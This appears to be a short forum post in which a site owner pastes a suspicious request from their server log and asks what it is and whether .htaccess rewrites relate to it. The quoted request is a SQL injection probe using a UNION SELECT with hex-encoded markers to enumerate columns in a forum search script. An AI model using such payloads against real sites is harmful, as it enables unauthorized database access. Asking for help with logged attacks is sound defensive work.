Checking the log file I found this little number:
/forum/links.php?t=search&search_keywords=asd&start=1,1+and+1=2+union+select+0x2D4578372D31,0x2D4578372D32,0x2D4578372D33,0x2D4578372D34,0x2D4578372D35,0x2D4578372D36,0x2D4578372D37,0x2D4578372D38,0x2D4578372D39,0x2D4578372D3130,0x2D4578372D3131,0x2D4578372D3132,0x2D4578372D3133,0x2D4578372D3134,0x2D4578372D3135,0x2D4578372D3136,0x2D4578372D3137,0x2D4578372D3138,0x2D4578372D3139,0x2D4578372D3230,0x2D4578372D3231,0x2D4578372D3232,0x2D4578372D3233,0x2D4578372D3234,0x2D4578372D3235,0x2D4578372D3236,0x2D4578372D3237,0x2D4578372D3238,0x2D4578372D3239,0x2D4578372D3330,0x2D4578372D3331,0x2D4578372D3332,0x2D4578372D3333,0x2D4578372D3334,0x2D4578372D3335,0x2D4578372D3336,0x2D4578372D3337,0x2D4578372D3338,0x2D4578372D3339,0x2D4578372D3430,0x2D4578372D3431,0x2D4578372D3432,0x2D4578372D3433,0x2D4578372D3434,0x2D4578372D3435,0x2D4578372D3436,0x2D4578372D3437,0x2D4578372D3438,0x2D4578372D3439,0x2D4578372D3530/*
What the heck is it?
Btw, what is that Rewrite in .htaccess? Can it be used for attacks like what I posted above?
"Out, out, brief candle! Life's but a walking shadow, a poor player that struts and frets his hour upon the stage and then is heard no more: it is a tale told by an idiot, full of sound and fury, signifying nothing" - Macbeth ACT V, Scene V by William Shakespeare